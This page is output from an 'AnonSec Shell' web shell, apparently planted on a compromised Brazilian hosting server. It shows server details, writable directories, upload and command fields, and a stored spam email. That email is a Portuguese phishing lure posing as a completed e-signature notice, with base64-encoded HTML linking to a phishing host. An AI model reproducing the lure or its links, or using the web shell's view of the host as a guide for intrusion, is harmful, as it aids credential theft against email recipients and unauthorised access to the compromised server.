AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1740772448.M777584P350.dedi-4363141.lrsys.com.br,S=7931,W=8069
Return-Path: <nao-responder3381@concordia72dq.auditoria.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id YJQeLmAUwmdeAQAAIWsJAg
	(envelope-from <nao-responder3381@concordia72dq.auditoria.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Fri, 28 Feb 2025 16:54:08 -0300
Return-path: <nao-responder3381@concordia72dq.auditoria.biz>
Envelope-to: cobrancas@lrsys.com.br
Delivery-date: Fri, 28 Feb 2025 16:54:08 -0300
Received: from concordia72dq.auditoria.biz ([5.161.56.185]:47744)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <nao-responder3381@concordia72dq.auditoria.biz>)
	id 1to6Qq-00009C-3C
	for cobrancas@lrsys.com.br;
	Fri, 28 Feb 2025 16:54:08 -0300
Received: from concordia72dq.auditoria.biz (localhost [127.0.0.1])
	by concordia72dq.auditoria.biz (Postfix) with ESMTP id 529E522660
	for <cobrancas@lrsys.com.br>; Fri, 28 Feb 2025 16:53:19 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=concordia72dq.auditoria.biz; s=default; t=1740772399;
	bh=IOVsm4X7zKQZP8W7cgjt6OSCwx/krS+VdK0+XtEQoOU=;
	h=From:To:Reply-To:Date:Subject:From;
	b=AIv8xnYGPQrLBiDJAXji71SNTPnyCCIKqy9S/5i20T1jbkSY1sk9R02lZezkOVFK4
	 8mpM6vAxAUMzoQKdMZTDe68zhfqsOXVPogHl8ZG2wjEgma/Yv1P5TCxJN5MSb9wKRF
	 qKk6KC8hQDQdTska4D2IkRglXYp0gitnbqXjUbiJJsK7KkceWgXycwXKvXLF6KOgha
	 9S9o+P6AcfdR8wvd3Tl5v1M/Ad46GJmnOHsbPYnZwoXTXq78QuZJueTmRyz6ZgRDuG
	 aECy173q6gg2FTqP91Sk6nPN9t8G7xPd8itTfo5XZqIB7GoQq7T9BcoqQBy273ML8X
	 quiBAYEq71O8g==
From: "MG06" <nao-responder3381@concordia72dq.auditoria.biz>
To: cobrancas@lrsys.com.br
Content-Type: multipart/alternative; boundary="Zt=_3XPRj99akihIWAXv9USuPIwz8GfJMh"
MIME-Version: 1.0
Reply-To: a4sw3rpar03v4vk@concordia72dq.auditoria.biz
Date: Fri, 28 Feb 2025 16:53:19 -0300
Message-Id: <20250228195319.529E522660@concordia72dq.auditoria.biz>
X-Spam-Status: Yes, score=10.2
X-Spam-Score: 102
X-Spam-Bar: ++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Seu documento
    foi finalizado Acessar o documento Olá cobrancas@lrsys.com.br, 
 Content analysis details:   (10.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: hvvc.us]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: auditoria.biz]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.56.185 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.56.185 listed in bl.score.senderscore.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.2 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM***  =?UTF-8?B?8J+TnSBTZXUgZG9jdW1lbnRvIGZvaSBmaW5hbGl6YWRv?=

This is a multi-part message in MIME format

--Zt=_3XPRj99akihIWAXv9USuPIwz8GfJMh
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--Zt=_3XPRj99akihIWAXv9USuPIwz8GfJMh
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InB0LXB0Ij4KICA8aGVhZD4KICAgIDxtZXRhIGNo
YXJzZXQ9InV0Zi04Ij4KICA8L2hlYWQ+CiAgPGJvZHkgc3R5bGU9Im1hcmdpbjogMDsgcGFkZGlu
ZzogMDsgYmFja2dyb3VuZC1jb2xvcjogI0Y1RjZGQTsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5z
LXNlcmlmOyI+CiAgICA8ZGl2IGNsYXNzPSJYRWRIIiBzdHlsZT0id2lkdGg6IDEwMCU7IG1heC13
aWR0aDogNjAwcHg7IG1hcmdpbjogMCBhdXRvOyI+CiAgICAgIDxkaXYgY2xhc3M9ImdjcGZmd2xu
SkE0NiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgYmFja2dyb3VuZC1jb2xvcjogIzY2ODMw
MDsgY29sb3I6ICNmZmZmZmY7IHBhZGRpbmc6IDIwcHg7IG1hcmdpbi10b3A6IDEwcHg7IGJvcmRl
ci1yYWRpdXM6IDZweDsiPgogICAgICAgIDxoMiBzdHlsZT0ibWFyZ2luLVZTOVQ4Slk1QjhZOVA6
IDEwcHg7Ij5TZXUgZG9jdW1lbnRvIGZvaSBmaW5hbGl6YWRvPC9oMj4KICAgICAgICA8YSBocmVm
PSJoVFRQczovLzc0LTUwLTEyNy0yMTMuc3RhdGljLmh2dmMudXMvQTIyMWwwTEVrMUVJL0JMSWVJ
SzFscEswTDJYMS9YNUNsQ0hSN1FoVnB1MmMvQkhfNDA4OTYxNTciIHJlbD0ibm9yZWZlcnJlciIg
ICB0YXJnZXQ9Il9ibGFuayIgZGF0YS1hdXRoPSJOb3RBcHBsaWNhYmxlIiBzdHlsZT0iYmFja2dy
b3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyBib3JkZXI6IDJweCBzb2xpZCByZ2IoMjU1
LCAyNTUsIDI1NSk7IGJvcmRlci1yYWRpdXM6IDZweDsgY29sb3I6IHJnYig1MSwgMTIxLCAyNDIp
OyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IGZvbnQtZmFtaWx5OiBhcmlhbCwgaGVsdmV0aWNhLCBz
YW5zLXNlcmlmOyBmb250LXNpemU6IDE2cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyBsZXR0ZXItc3Bh
Y2luZzogMHB4OyBsaW5lLWhlaWdodDogMTZweDsgcGFkZGluZzogMTJweCAxOHB4OyB0ZXh0LWFs
aWduOiBjZW50ZXI7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgbWFyZ2luLXRvcDogMTBweDsiPkFj
ZXNzYXIgbyBkb2N1bWVudG88L2E+CiAgICAgIDwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJjb250
ZW50IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjsgcGFkZGluZzogMThweDsgbWFy
Z2luLXRvcDogMTBweDsgYm9yZGVyLXJhZGl1czogNnB4OyI+CiAgICAgICAgPHAgc3R5bGU9Im1h
cmdpbi1HSkM3Uk44REpERkFBOiAxMHB4OyI+T2wmIzIyNTsgY29icmFuY2FzQGxyc3lzLmNvbS5i
ciw8L3A+CiAgICAgICAgPHAgc3R5bGU9Im1hcmdpbi1TS01PTEkyMUNEU1VKOiAxMHB4OyI+QSBz
dWEgYXNzaW5hdHVyYSBlbGV0ciYjMjQ0O25pY2EgZm9pIGNvbmNsdSYjMjM3O2RhIGNvbSBzdWNl
c3NvISBPIGNyaWFkb3IgZG8gZG9jdW1lbnRvIGomIzIyNTsgZm9pIGF1dG9tYXRpY2FtZW50ZSBu
b3RpZmljYWRvIHF1ZSB2b2MmIzIzNDsgYXNzaW5vdS48L3A+CiAgICAgICAgPHAgc3R5bGU9Im1h
cmdpbi0wTEQxUlpaU05KR0dMOiAxMHB4OyI+Vm9jJiMyMzQ7IHBvZGUgYWNlc3NhciBvcyBkb2N1
bWVudG9zIHF1ZSB2b2MmIzIzNDsgYXNzaW5vdSBjbGljYW5kbyBubyBib3QmIzIyNztvIGFjaW1h
IG91IGFjZXNzYW5kbyBvIDxhIGhyZWY9ImhUdFBTOi8vNzQtNTAtMTI3LTIxMy5zdGF0aWMuaHZ2
Yy51cy9sN3FxSUZzVlp2RmFjRmRWYkgvQTIyMWwwTEVrMUVJL0JMSWVJSzFscEswTDJYMS9FcGRt
ZXdZb1JSOFBsUmwvVUVfMzgyMTQ0MTkiIHN0eWxlPSJjb2xvcjogIzMzNzlGMjsgdGV4dC1kZWNv
cmF0aW9uOiBub25lOyI+RDRTaWduOjpjb2JyYW5jYXNAbHJzeXMuY29tLmJyPC9hPi48L3A+CiAg
ICAgIDwvZGl2PgogICAgPC9kaXY+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==

--Zt=_3XPRj99akihIWAXv9USuPIwz8GfJMh--


Anon7 - 2022
AnonSec Team